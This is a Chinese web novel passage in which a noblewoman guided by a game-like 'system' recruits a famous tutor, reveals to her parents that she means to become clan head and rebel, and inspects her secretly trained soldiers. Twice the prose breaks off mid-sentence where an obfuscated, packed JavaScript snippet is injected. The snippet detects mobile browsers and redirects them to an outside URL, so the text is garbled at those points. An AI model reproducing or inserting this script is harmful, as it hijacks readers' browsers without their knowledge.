仆从敲门进入,然后弯腰,说道:“家主,三娘子来了。”
姬父立刻放下手中的笔,笑道:“快让昤昤进来。”
姬昤进入书房,先是甜甜地喊了声“阿耶”,接着给了书房里伺候的下人们一个眼色,下人们看向姬父,姬父点头,他们这才退了出去。
“昤昤这是要与阿耶说悄悄话了?”姬父笑着拉着姬昤坐下。
“倒也不是悄悄话,就怕旁人听了传出去要说咱们姬家大不逆。”姬昤一脸神秘。
姬父摸了摸自己好不容易养起来的小胡子,端起茶水:“哦?如何大不逆?”
他倒是有些好奇昤昤能说出什么大不逆的话来。
“阿耶,有没有想法让上面……”姬昤指了指上方,“换个人?”
姬父“噗”一声全吐了出来。
姬昤忙起身上前擦拭,一边说道:“阿耶你也真是的,怎么用个茶水还能吐咯?”
姬父抚了抚自己胸膛,一只手抓住姬昤的胳膊,严肃地看向姬昤:“昤昤,可是有旁人同你说了什么?你怎么突然会有这种想法?”
姬昤眨了眨眼,也不是突然有吧,一年前就有了。
“阿耶,那不说这个,我就问,姬家是不是出了什么事?”姬昤盯着姬父的眼睛问道。
姬父盯着姬昤看了许久,最终叹了口气,松开了她的胳膊。
“昤昤,阿耶本不想跟你说这些,既然你问起了,我也就告诉你吧。”姬父又叹了口气,“近日来姬家处境确实艰难,但我姬家好歹是士族,不过是一时困境,要不了多久便能解了,昤昤你也不必多担忧。陛下么……处置了姬家的一个旁支,近日又寻了朝中几个姬家官员的错处罚了,不过我姬家也不是那么好撼动的,昤昤莫怕。旁的么,阿耶也不与你多说了,你一个女儿家也不必多管,阿耶总归不会让你去受苦的。”
“阿耶这话就错了,什么叫女儿家也不必多管?女儿家又如何?我自小哪儿比那些男儿郎差了?”姬昤嘴翘得都快可以挂油壶了。
“是是是,昤昤自是不差的,只是朝堂中的事有阿耶和阿兄,还有族中的男人们在,昤昤不必担忧。”姬父拍了拍自己的嘴,说道。
姬昤眼珠子转了下,说道:“阿耶,为何我们不退到西、北之地亦或是偏僻的边疆处而是在这国都?那岂不是一举一动都被皇家监视着?”
“姬家怎会怕皇室?”姬父当即就说道,随后软和了些语气,“不过到底是皇家,我们收敛些就是了,昤昤你也莫怕,天子到底是撼动不了姬家,一些动作不痛不痒的,伤不了姬家什么。”
姬昤有些无奈,阿耶是否太自信了?姬家是庞大无法撼动不错,可到底也存在百年了,内部总归是有些问题了,若皇帝发了狠就是要把姬家拉下来,姬家不死也得掉层皮。
“阿耶,我就是担心,姬家主家目前有您坐镇,底下那些人就算有些旁的心思也会收着些,可到底都是生了其他心思的,难免不会生出事端来,更何况那么多旁支,若受了挑拨离间出了事,对咱们又有什么好处?”姬昤缓缓劝道,“就比如大伯一家,还有四叔五叔他们,那几位老长辈,哪个是省油的灯?”
姬昤所说的大伯、四叔五叔都是和她阿耶同父异母的庶出兄弟,她阿耶行三,上面还有个同母哥哥早十几年就让那几个庶出兄弟害死了,她说的“老长辈”们也是些固执迂腐的,只知道家族颜面,不论她那几个叔伯做了多可恶恶心的事都让她阿耶“算了算了都是一家人”给放过了。
用姬昤的话来说,就是群牢布斯的。
姬父陷入长久的沉默之中,许久之后才又抬眸看向姬昤:“昤昤长大了啊……”
“阿耶……”姬昤抓住姬父的胳膊。
“唉……昤昤觉得姬家退出建康才是好的选择吗?”姬父问。
“清理家族,退出建康,徐徐图之。”姬昤说道。
“此事非同小可,你让阿耶多思虑些时日吧。”姬父想了想并没有一口答应。
“嗯,那阿耶慢慢想着,总归不能等到陛下都动手了才做决定。既如此,昤昤先走了。”姬昤说着起身离去。
4. 请先生
“主线任务发布——
请宿主拥有兵力一万人,时限两年,当前人数:500/10000。任务成功奖励卧龙凤雏:诸葛亮、庞统,任务失败撤回卫霍大礼包。”
“主线任务发布——
请宿主拥有一块起兵之地,不限大小,时限两年。任务成功奖励银矿一座,开采年限五十年,任务失败随即生成两名英雄到达敌方阵营。”
“支线任务发布——
请宿主成为姬家家主,时限一年。任务成功奖励五千斤马铃薯,任务失败无惩罚。”
“支线任务发布——
请宿主拉拢至少三名朝堂官员,时限一年。任务成功奖励五千斤番薯,任务失败无惩罚。当前进度:姬瑾,姬瑜。”
系统一连发布了四个任务,姬昤听得一愣一愣的。
其他的她倒是没多在意,脑子里就只记住了“任务失败撤回卫霍大礼包”、“任务失败随机生成两名英雄到达敌方阵营”,那这还得了?
坚决不行!
任务只能成功,不许失败!
“啊!”月栀一头撞在突然停住的姬昤背上,她退后摸了摸鼻子,还先去关心姬昤,“三娘子怎么了?可是忘了什么事?”
姬昤听到声儿转身看去,就瞧见月栀眼泪花花地看着她。
姬昤笑了声,抬手捏了下月栀的鼻子:“没,就是突然想到了些事,走吧,回英兰苑。”
“等等,三娘子。”月栀跑到姬昤跟前,“三娘子许久没去别院了,不去瞧瞧吗?好娘子和秦娘子去了好些时日了,三娘子也不想去瞧瞧吗?”
“嗯……确实也该去瞧瞧了,算来也有七八日了,也不知道她们如何了。”姬昤说着接着吩咐道,“既如此,月栀,明日一早去备马车,届时叫上冼英他们一道同去。”
“喏,月栀记下了。”月栀笑嘻嘻地应着。
姬昤想着还要给霍光寻先生,如今建康最有学识的那些先生不是在皇宫教导皇子公主就是在官学教导贵族子弟,亦或是在某些士族的家学中,虽然她姬家的先生也不错,但她想要最好的。
就只剩下归隐的那位先生了——
谢先生,谢渊。
若想请他出山那还是有些难度,她可得好好想要怎么做才行。
当天下午,姬昤以姬家的名义向谢渊发出了邀请。
谢渊虽然归隐,但还在建康,大隐隐于市。只是他在的地方很少被外人知晓,还是姬家有势才能知道。
建康郊外某处院子。
一黑长胡子老者正在菜园内浇地,这时,门外来了个人,还驾着马车。
老者瞧见了,却没理会,只是自顾自地浇地。
来人下了车走到门前敲了敲:“谢先生可在?我乃建康姬家仆从,来此递信。”
老者瞥了眼,没有理会。
姬家仆从也瞧见了老者,心想这应该就是谢渊谢老先生了,于是他继续说:“我家三娘子发现了一天纵奇才,特此来请谢老先生出山,谢老先生可在家?”
谢渊轻笑了声,天纵奇才?这景……不,安朝还有天纵奇才?这姬三娘子可真会说大话。
谢渊背过身去,还是不理。
仆从思索了片刻,又道:“我家三娘子说了,谢先生若是不信,可以先去瞧瞧,若实在觉得当不得天纵奇才再走不迟!我家三娘子似乎还准备了前朝大家袁霈的字画,就是不知道谁能有幸一赏了……”
“袁霈的字画?当真?”谢渊不知何时扔下了手中的东西打开了门抓住了仆从的肩膀,脸还靠得很近,微风带来了丝丝臭气。
仆从吓得一激灵,屏住呼吸,回答道:“当真当真,三娘子有好多呢,可惜不会欣赏,就待有缘人呢。”
“稍等片刻。”谢渊说罢转身快步回到屋子内,不多一会儿背着小包裹就出来了,不等仆从去扶,自个儿就上了马车。
仆从愣了一愣,和院内谢渊的小厮对视了眼,小厮只是无奈叹了口气,似乎习惯了。
这时,谢渊掀开帘子看向仆从:“还不启程?”
仆从连忙上了马车:“这就走这就走。”
他心想,三娘子说的果真没错,说其他的也许没用,但要说前朝大家袁霈,这谢先生定会应邀。
好在这袁霈真迹难得,几乎全在姬家,不然别家也拿出来他们可就请不到谢先生了。
傍晚时分,一辆马车稳稳停在姬府大门外。
谢渊到了。
谢渊背着自己的小包裹就下车了,甚至仆从还没来得及扶。
仆从默默放下自己的手,带着谢渊进入姬府。
“袁霈……姬三娘子在何处?”谢渊转了话语,询问身侧的仆从。
“请先生先在此稍候,小的这就去请三娘子过来。”仆从将谢渊带到前厅,吩咐人备了茶水点心,接着便去寻找姬昤。
谢渊茶也不吃点心也不用,只是抱着自己的包裹等待着,等待着……
姬昤来了。
身边还跟着一个少年。
谢渊一下子站起身,瞧了好几眼,见并无字画的样子又缓缓坐下。
“久仰谢先生大名。”姬昤瞥了眼一旁的茶水点心,然后笑问,“可是姬府的茶水点心不合您的胃口?我这就让人给您换一批。”
谢渊抬手,面色严肃:“不必了,三娘子应当知晓老夫为何而来吧?”
结果呢?东西一点儿没瞧见。莫不是诓他的?
姬昤微笑:“自然。不过在观赏袁霈字画之前,谢先生不如与我这‘天纵奇才’聊聊?”说罢拉过霍光,给他使了个眼色。
霍光瞪大了双眼,什、什么?主公说他是天纵奇才么?
姬昤一惊,他怎么泪眼汪汪地看着自己?这么感动吗?
姬昤不禁摸了摸鼻子,她确实说了大话,早知道不说这么夸张了。
霍光正色,上前一步,恭敬行礼:“小人霍光,拜见谢先生。”
谢渊瞥了两眼,瞧着模样端正的,是不是天纵奇才还难说呢。
“可曾读过什么书?”谢渊问。
霍光摇头:“未曾。”
谢渊一下子看向姬昤,那眼神仿佛在质问她“这就是你说的天纵奇才”?
姬昤默默移开眼神,心虚地摸了摸鼻子。
谢渊哼了一声,刚想起身甩袖离去,姬昤从大大的袖子里掏出了一份卷好的字画,她轻轻一扔,字画滚到了谢渊脚边。
“咦?这是谁落下的字画啊?”姬昤一脸惊奇。
谢渊低头看了眼,拿起打开一看,顿时生气地说道:“姬三娘子怎能如此不珍惜大家画作?!”
姬昤连连致歉,然后道:“是我的不是,谢先生可别生气。这字画应是先生的吧?那我这奇才……”说着推了推霍光,把人推到谢渊跟前。
霍光也是一脸真诚地看着谢渊。
谢渊咳了几声,小心翼翼地卷好了字画,将包裹递了过去。
月栀一直候在一边,见状连忙接过,笑脸盈盈地说道:“奴婢这就去给您安排住处。”
姬昤脸上笑容更甚,霍光也赶紧说道:“学生拜见先生!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326120|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“打住!”谢渊把字画往自己袖子里一放,“若你朽木不可雕我也会离去,不必如此着急喊我先生。”
“喏,学生定不负先生期望!”霍光又道。
姬昤微笑:“先生,我院中还有几位英才,不如去聊聊?”
谢渊刚想拒绝,姬昤看向他的袖子,目光直穿,谢渊改口道:“也罢。”
反正来都来了。
“您请!”姬昤侧过身子。
英兰苑。
冼英、杨妙真和卫青正在切磋,卫子夫坐在一旁笑着看着,大有一副岁月静好的模样。
卫子夫先瞧见了姬昤,见身旁还有一陌生人,于是微微屈身:“见过三娘子,不知这位是?”
其他三人停了下来也都说了句“见过三娘子”。
“这位是谢渊谢先生,我给霍光请的先生,乃我朝大儒。”姬昤说道。
几人一听忙道:“见过先生。”
“不必多礼。”谢渊说着看了眼卫青又看向姬昤,“三娘子这院中还住着男子么?”
“他住旁的院子,只是过来与她们二人切磋的。”姬昤解释道。
“切磋?”谢渊闻言看向冼英和杨妙真而言,这可是两位女子。
“他们都是习武之人,就好切磋。”姬昤又道。
“女子习武?倒是少见。”谢渊不禁多看了几眼冼英和杨妙真,怪不得瞧着与一般女子有些许不同,不论是举止还是眼神,都不一样。
冼英和杨妙真也多瞧了两眼谢渊,倒不是个迂腐的。
“冼英。”冼英。
“杨妙真。”杨妙真。
两人介绍了自己的名字。
谢渊淡笑着点了点头又看向卫青:“这位小郎姓甚名谁啊?”
既然他要在姬家暂住一段时日,都是平日里常见的人,自是得知晓名讳。
“小人卫青。”卫青语气温和。
谢渊又看向卫子夫,卫子夫微微一笑:“卫子夫。”
“哦?你俩是一家的?”谢渊。
“是,卫青是我的弟弟。”卫子夫回答。
姬昤见几人氛围不错,让月栀去吩咐人备了茶水点心来。
大家相谈甚欢,谢渊也改变了对姬昤的看法。
他原以为姬昤只是个深闺娘子,受尽荣华富贵,嘴里爱说些大话,没成想身边竟有这些能人异士。
冼英、杨妙真,两位习武的娘子,谈吐举止也不一般,若是女子能为官,她们二人会有不小的作为。
卫青,瞧着年岁不过二十的模样,却有着敏锐的军事、政治思维,若是入仕,不多久便能高升。
霍光,年岁尚小,虽不曾读过书,但脾性不错,认真好学,资质瞧着尚且不错,就看日后如何了。
卫子夫,本以为只是位貌美的女子,聊着却发现脾性瞧着温和,却是个外柔内刚的,还有着敏锐的政治思维,也不简单。
谢渊又多看了几眼姬昤,这三娘子到底想做什么?
姬昤微笑看回去,推了推面前的盘子:“先生请用点心,不必客气。”
谢渊意味深长地说了句:“三娘子好能力啊……”
姬昤依旧微笑,不语。
这大儒还请对了,估摸着是猜到了什么却不说,依旧平常心态与他们闲聊。
大儒不愧是大儒。
与此同时,郊外院内。
小厮循着门的方向眺望着。
主子人呢?以往这时候不也该回来了吗?不会是留宿姬府了吧?那他明日的早膳还做吗?
5. 我要当家主
入夜,姬父派人让姬昤去了书房。
他已经知道姬昤用袁霈字画换来谢渊入住姬府一事。
书房。
“阿耶找我来是为了谢先生的事吧?”姬昤神色淡定。
姬父犹豫了片刻,然后问道:“昤昤为何突然把这谢渊弄到了府上?听下人说是为了给那个叫霍光的孩子授课?”
谢渊虽是大儒,但……当初是因为惹了事才选择归隐,可昤昤今日突然又把人弄到了府中,难道就只是为了那个小郎君?说来也奇怪,昤昤何时有那么多他都未见过的好友?也不知是哪里人士、哪家的。
“是也不是。”姬昤缓缓道,“日后府上只会多更多上课的,霍光只是第一个罢了。”
姬父突然有些疑惑:“昤昤这是何意?”
姬昤盯着姬父的双眼,一字一句清晰地说道:“阿耶,我要当姬家家主。”
姬昤说的是“要”而不是“想”,话里的决心和坚定也让姬父有些措手不及。
“昤昤,你,你……你说什么?”姬父一度怀疑是自己耳朵出了问题听错了。
“阿耶,你没听错,我要当姬家家主,不是玩笑话,是认真的。”姬昤认真的神情也让姬父确定了女儿并不是在开玩笑。
姬父此刻大脑一片混乱,昤昤先是说是否有想法让上面换个人,后又是说要当姬家家主,他的乖乖女儿莫不是被什么邪祟上了身?想到这,姬父有些狐疑地看着姬昤。
姬昤摸了摸自己的脸,有些奇怪,阿耶怎么这么看着她?
“昤昤啊,你可知……你是女子啊?”姬父眉头微皱。
他的意思就是,没有女子当家主的,这也不是女子能当的。
他虽宠爱女儿,有些事却也不能妥协。
“那女儿比起男子又差在哪儿了?”姬昤反问。
姬父一哽,这不是已经说出来了吗?差在不是“男子”,许多事只要不是男子就做不得,这世道不就是如此吗?一直以来皆是如此。
姬父沉默了一会儿,然后说道:“昤昤,还有你大兄二兄,再不济还有旁的几位兄弟,你没法当家主的。”
他说的旁的兄弟是姬家大爷、四爷和五爷的儿子们,他们三人有八个儿子,最大的二十有八,最小的也有十岁了。
姬昤并不在意,她直直地看着姬父,说道:“大兄太过仁慈,二兄喜好玩乐,至于旁系的那几位兄弟……旁系大郎和二郎、十一郎资质平庸,三郎吸食五石散而死,六郎虽聪慧却是妾室所生登不上家主之位,八郎亦是吸食五石散重病不起,十四郎体弱多病,十六郎天生跛脚,阿耶想让偌大的姬家落到他们手中吗?阿耶,只有我姬昤才是家主的最佳人选。”
姬昤话语自信,神态之中写着势在必得。
姬父张了张嘴,一时间却什么也没说出来,他竟不知昤昤是何时有的这种想法,难道是及笄时听到表字“绥英”开始?可他的本意只是希望昤昤这辈子平安顺遂、幸福美好啊!
突然,姬父想到来借住的所谓昤昤的“朋友”,他问:“那那些人就是……是你养的幕僚了?”
姬父心想,或许昤昤的野心不止是“姬家家主”,之前所说的让上面换个人的话语也不是一时兴起……
“昤昤,你,你跟阿耶说实话,你到底要做什么?”姬父率先捂住了心口,问道。
姬昤淡淡一笑:“阿耶心中应该也有想法了,那昤昤就不明说了,怕阿耶觉得大不逆。”
姬父倒吸一口凉气,姬昤赶紧扶住胳膊:“阿耶冷静些,这么想的又不止女儿一个。”
想造反的多了去了呢。
“你还真有这个想法?!”姬父大惊,一时间只觉得头昏眼花,天地都在旋转。
“阿耶!”姬昤惊呼一声,比之父亲的威武身躯,小小的她一把稳住了摇晃的身体。
“阿耶你没事吧?”姬昤又问。
姬父沉默了一会儿,然后道:“常听闻府中下人说你在练武,我本以为你只是一时兴起,没成想你真练成了?怎的你幼时……”话到此处他却停住了,这让他想起昤昤小时候了,那时昤昤看着就比一般的娘子要活泼好动些,嘴里也时常冒出些不是闺阁女儿能说出的话来,原来从那时起昤昤就有这样的想法了。
姬昤并不知道自己阿耶在想什么,若是知道一定大呼冤枉,她明明是去年才有这个想法的!
“阿耶,姬家有死士三千没错吧?”姬昤突然想到其中一个任务是让她拥兵一万,如果她当上姬家家主了,那这三千死士理应也该算进她的任务中,那就是三千五百人了,任务进度越了一大步呢!
“没错,你问这个作何?”姬父扶着椅子坐下,问道。
“那这些死士全听家主吩咐,没错吧?”姬昤又问。
“是。”姬父点头。
“阿耶,若无他事我先回去了?”姬昤这下放心了,一边问脚一边蠢蠢欲动。
“等等。”姬父抬手,“昤昤啊,你可知那谢渊为何会归隐啊?”
姬昤摇头。
“谢渊当年可是是陈郡谢氏年轻一辈最负希望的一个,也是最有望成为家主的,只可惜十三年前不知道到底发生了什么,一夜之间,他的爹娘、叔伯、兄长姐妹共十七人全部惨死,这些人全是谢家的骨干,而罪魁祸首就是谢渊。谢家也因此渐渐没落。”姬父解释道。
姬昤瞪大了双眼,这件事她还真不知道,那时候她才两岁呢。不过到底是发生了什么?谢渊怎么会突然杀死至亲十七人呢?这其中肯定有不为人知的原因,回头旁敲侧击地问问看。
“如此,昤昤还要把这谢渊留在府中吗?”姬父反问。
姬昤回想与谢渊交谈的画面,又想起谢渊的模样,不论哪样她都没看出谢渊像是会一下杀了至亲十七人的人。
“阿耶,这件事给我几日,我好好想想,待有决断之后再告知你。至于旁的,阿耶,我说的要当家主不是玩笑话,阿耶可好好考虑一番,如此,我先走了?我还要去阿母那。”姬昤看着姬父。
姬父点头,摆摆手:“去吧。”
待姬昤离开书房,姬父强撑着的身体还是软了,他目光呆滞,想不通自己娇娇软软本该无忧幸福一生的乖女儿怎会突然想不开要做家主?竟然还有谋逆的心思?
姬家家主是好做的吗?谋逆是好谋的吗?
不是!
就说家主吧,若是好做,当年兄长的死他也不至于轻拿轻放了,他是没法子,他虽是家主,却也违抗不了整个家族。
姬父又想到乖女儿的脸,那坚毅的眼神和神情,或许……
昤昤真的行?
姬父摇了摇头,拍了拍自己的脸。
他在胡想些什么?昤昤是小娘子,没见哪家是让娘子当家的,更何况他还有瑾儿和瑜儿……
“大兄太过仁慈,二兄喜好玩乐。”
姬父突然又想到这句话。
昤昤没说错,的确如此。
家主之位若是落到他们两个头上,瑾儿太过心善会被姬家吃得死死的,瑜儿喜好玩乐也会被姬家磨灭心性此生无乐。
难道……
真要让昤昤来当家主?
那他那些庶兄弟和姬家的老长辈们那关可不好过。
姬昤刚走进院子里就听见了母亲的笑声,她带着疑惑走得更近了,屋外的婢女行了个礼,接着敲了敲门说“三娘子来了”。
姬母笑脸盈盈地迎了出来,拉过姬昤的手就往里走接着拉着她坐下。
“阿母怎的这般开心?”姬昤不禁问道,却在看见桌上一幅幅男子画像时明白了什么,顿时作委屈状,“阿母这是巴不得女儿早早嫁出去了?女儿才十五,阿母就这般着急了?”
姬母连忙拿起一个画像:“昤昤你看,这是建康裴家的三郎君,比你大上两岁,虽说不是什么大家出身,但胜在样貌英俊、年轻有为,如今十七岁不靠家里就已经当上了六品官,更是陛下身边的红人,而且啊,人家愿意入赘!这多好啊!”
姬母放下手中的画像又拿起另一个:“若是不喜欢这姓裴的,那这个,阿母娘家的侄子,你萧昀表兄,可还记得?比你大三岁,一表人才,又是阿母看着长大的,品行优良。你幼时去萧家时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326121|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总缠着人家带你玩呢!”
姬母又换了个:“这个是琅琊王氏嫡出的六郎君,与你同岁,虽长相一般,但人家三岁能文,六岁能武,十三岁就入朝为官,如今官至五品。你觉得这个如何?若是都不满意,阿母再给你选,定不会委屈了咱们昤昤!”
姬昤只觉得头都要大了。
一个皇帝身边的红人愿意入赘,若是皇帝的眼线呢?她还怎么造反?
一个是从小一起长大的表兄,确实,她小时候喜欢粘着人家一起玩,还不是看他长得好看脾气又好?但那可是表兄!他们喜欢亲上加亲她可不喜欢,她不要生傻子啊!!
一个大家出生的少年英才,听着是挺不错的,家世背景条件又好,可她是要当家主、当皇上的女人!难不成嫁过去只做一个主母?还不一定能当主母呢!
姬昤无奈道:“阿母,女儿还小,不愿嫁人,您就别着急给女儿相看人家了,女儿哪怕十九岁二十岁还不嫁也不着急。”
姬母一听,这可不行!
她道:“你现在不急无事,可以先相看着,若有中意的可以先定亲,待十六七了,亦或者十八九了再嫁也成。你两位兄长一个个都说不急,尤其是你大兄,都弱冠了还不成婚,阿母这是一个孙儿都抱不上,这才着急你的婚事,不然阿母是万万不会催你的。”
姬昤明白了,她如果想要亲近就去骚扰两位兄长,毕竟是当哥哥的,她做妹妹的也不好意思越了去吧?嘻嘻。
“阿母,你也别催我了,我替你去催催两位阿兄如何?”姬昤笑眯眯地看着姬母。
姬母转念一想,这也好,只是……
姬昤见状,便问:“阿母这是想到云珠表姐了?”
姬母叹了口气:“是啊,瑾儿这些年为何一直拒婚我也不是不知道,若不是云珠病逝,她和你大兄也该有个孩子了。”
两人口中的云珠姓萧,是姬母娘家姐姐的女儿,与姬瑾青梅竹马,两人互相欢喜,两家本约定待萧云珠一及笄便成婚,可惜萧云珠突发急病病逝在及笄前三日,至此姬瑾便不愿再谈婚论嫁。
“便不催大兄了,我去催催姬瑜,他也快十八了,该定亲事了吧?阿母放心,我肯定好好劝阿兄!”姬昤着急说道。
抱歉了阿兄,死道友不死贫道,现在只有你能抵挡催婚了!
姬母张了张嘴,甚至没来得及说什么,姬昤扫了眼屋内的下人,让所有人退了出去,等门关上后才小声说道:“阿母,其实女儿有个大胆的想法。”
“什么想法?”姬母也学着女儿小心的样子低下脑袋凑近了问。
姬昤微笑:“我要当姬家家主。”
姬母两眼一翻差点没晕过去,她强撑住身体,满脸不可思议,颤抖着嗓音一边又压低了:“昤昤,你,你说什么?你要当什么?”
姬昤心想,果然,她就知道,这件事不是容易能被接受的,还是阿耶阿母宠爱她,换做旁人,非得烧死她说她疯了。
“阿母,我要当姬家家主,我是认真的,不是开玩笑。”姬昤认真地又说了一遍。
姬母却出乎意料地沉默了,她没有生气,更没有愤怒,只是平淡,甚至最后还笑了。
姬昤吓了一跳,阿母竟然笑了??
“昤昤,你可知这种话当年阿母在萧家也说过?”姬母淡笑着看着姬昤,眼里带着怀念,似乎在透过女儿看过去的自己。
姬昤摇头,有些惊讶,这她还真不知道。
“当年我当着萧家所有人的面说‘我萧芝要当萧家家主’,结果挨了好一顿打,最后在萧家宗祠跪了三天三夜,直到大家听到我说‘知错’才把我放出来,接着我大病了一场,在床上躺了大半个月,之后便再也没说过那种话,阿耶阿母又像从前一样对我温言软语,好像什么都没发生过。”姬母说着说着眼角滑落一滴泪。
“昤昤,也难怪你会说出这样的话,不愧是我萧芝的女儿。好,阿母相信你,努力去做吧,不要怕旁人的目光,阿母永远在你身后。”姬母柔软的手搭在姬昤的肩上,传递着少年时她的梦想。
姬昤双眸湿润,点了点头。
6. 提前恭贺“圣上”
翌日清晨。
姬府大门外,马车已经备好,冼英等人一个个上了马车,除了留在府中上课的霍光。
姬昤在最后。
“早听闻昤妹妹喜好交友,近一年府上来了好些个生人全都住下了,本来只是娘子也无妨,怎的如今还有郎君了?昤妹妹,你也是要嫁人的年岁了,可不能做傻事。我比你早半月出生那也是阿姐,我也只是为了你好,你可别介意。”一个瞧着与姬昤有一两分相像的娘子站在门边上说道,话语中带着若有若无的笑意。
已经上了马车的几人纷纷掀开帘子看去,接着看向一只脚刚准备上车的姬昤。
姬昤扬起嘴角,转身看向那娘子,接着状似思考:“你……是旁系哪位阿姐来着?你们旁系兄弟姐妹太多,我实在记不清。唉,我也是为了你好,下次开口前可先报上自己名号,省的人家还要想上一会儿才知是谁,这位阿姐你说是或不是?”
不是她欠,确实旁系的兄弟姐妹太多了,还活着的叔伯三人共有儿女十七人,这还加上了三个已死的——一位吸食五石散过量而死,两位难产而亡。她平日里也不太关心旁系的事,自然一时间也想不起来这自称“阿姐”的到底是哪家的,大伯家的?四叔家的?还是五叔家的?
那娘子笑容一僵,勉强还撑着笑容说道:“昤妹妹真是说笑了,我是你五叔的女儿,十二娘子姬莲啊,姬家也就我只比你大半月了,前些日子刚刚和陈郡谢氏家的郎君定亲呢,你这是贵人多忘事啊。”
姬昤有了些印象,也想起来了,确实,最近刚定亲的也只有姬莲了,只不过和陈郡谢氏?阿耶不是说谢家渐渐没落了吗?这姬莲是五房嫡女,怎么会和谢家定亲?
“莲姐姐这么说我倒想起来了,对了,若无事我就先走了,我还忙着呢。”姬昤说罢也没多想,转身就要上马车。
姬莲又开口了:“昤妹妹,你也及笄了,该定亲了,你可是姬家嫡女,怎的还总往外跑?这样多不好啊,郎君不喜欢的。”
姬昤回头瞥了眼姬莲:“你也说了,我是姬家嫡女,我干什么都不敢有人有何异议,管好自己吧,莲、姐、姐。”说罢直接进了马车,也不管姬莲如何神色,拢共三两马车,二十个护卫护着就出发了。
姬莲站在原地咬紧了牙关,愣是敢怒不敢言,毕竟还在大门口,来来往往的会有人瞧见的。
姬莲退回府内,侧脸对身边的婢女说道:“找人跟上去瞧瞧他们要去哪儿。”
“喏。”婢女应声。
马车行驶了约半个时辰,终于到了姬昤郊外的别院。
一行人下了马车。
别院瞧着很正常,也听不见里面的声音,外面站了两个年轻的仆从守门。
两个仆从瞧见姬昤的那一瞬就自觉地打开了别院的大门,恭敬地候在两旁。
“三娘子安康。”两仆从说道。
姬昤昂了下头:“我带些‘友人’过来玩,别让外人来扰了我们的兴致。”
这两仆从是她去年救下的差点死掉的乞儿,经过考验后觉得可靠便留在这看门,只要她说带友人来玩他们就会知道她是有正事做,万万不能把闲杂人等放进去。
“喏。”两人应道。
待众人进入院内,吱呀的声音响起,大门关上了。
远远一棵大树后,一个鬼鬼祟祟的男子探着半个脑袋望着。
院内。
别院很大,一行人跟着姬昤弯弯绕绕走了好一会儿才到了地方——
乌压压一群人安静有序地做着一样的动作,可以看出他们都在努力压制自己的呼吸声,各个脑袋上都顶着一头汗水,一头一尾分别站着一女子,正是妇好和秦良玉。
训练的死士们瞧见姬昤等人也不吭声,因为是训练时间,因此一边训练着一边把目光投向前方的妇好。站在尾处的秦良玉一眼看见了姬昤等人,从后面走了过来,妇好随着她的动作也转身看见了大家。
“主公。”两人喊了声。
死士们这才停下一齐喊了声“大人”。
因为他们人多,姬昤不让他们喊主公,人多眼杂的,虽说这别院偏僻,难免会有过路的人,若让人听了去,那真是创业未半而中道崩殂了。
“不必多礼,今日我只是带些你们其他同伴过来瞧瞧都认识一下,不过还有两人,一人名叫霍光,年十四,我让他留在府中,请了先生教学,另一人唤霍去病,此刻或许已到了匈奴的地盘,等日后回来我再带他来与大家相识。”姬昤说着又介绍起了卫子夫和卫青,“这二人是同母姐弟,她叫卫子夫,他叫卫青,对了,卫子夫是霍去病的姨母,卫青是霍去病的舅舅,霍去病是霍光的哥哥,但霍光跟卫氏姐弟并无关系。”
卫子夫和卫青向妇好和秦良玉二人点了下头,算是打招呼了。
二人听着姬昤解释的关系,一瞬间也想明白了这两位两位的都是同母异父的亲人,她们也点了下头算作回礼。
不过她们特别好奇没出现的霍去病,因为主公说他现在人也许在匈奴的地盘,这是去卧底了还是直接杀过去了?有点意思。
“我的意思是想日后这里的男人都由卫青来带,他也是男人,或许能更好地教导那些男人,你们也能更好地把女人们给我教好,我不要废物。”姬昤说道。
“喏,一切听从主公安排。”妇好和秦良玉二人应道,却有心生出一股挑战的意思,看向卫青的眼神也有些不一样了。
卫青迎上二人的眼神,淡淡一笑。
“你们来这儿也有七八日了吧,近来他们表现如何?训练情况可还好?”姬昤又问。
死士们一听一个个绷紧了神经,妇好瞥了眼众人神色,笑了声,然后道:“虽大多资质一般,好在尚且知晓努力,也是感念主公恩德训练不敢懈怠,表现都不错,有我们二人在此,主公放心。”
死士们不约而同松了口气,好在大人没说什么不好的话,不然若是主公不悦,就算没说什么,大人也定会罚他们,加练可太累了。
“那就好,平日里若是缺什么短什么尽管报给管家让她去买,不用担心银子不够。”姬昤说道。
“喏。”两人应道。
姬昤走向死士们,来回转了几圈,大家都很紧张。
“可有表现格外出色者?”姬昤突然问道。
妇好当即喊道:“何小花,陶婉,苗小来,宋春娟,林大柱!”
喊到名字的五人喊了声“喏”就站了出来,接着向前方的姬昤行礼:“见过大人。”
三女两男,瞧着年岁都不大,十来岁的样子。
只是其中有一人让姬昤觉得好奇。
她走到那人面前:“你叫什么名字?”
那人也没想到姬昤会突然跟自己说话,不过不惊不怕,淡定回答:“属下陶婉见过大人。”
“你看着倒是有些像世家娘子。”姬昤说道。
这便是她的好奇。
只见陶婉苦笑一声,缓缓说道:“属下本是
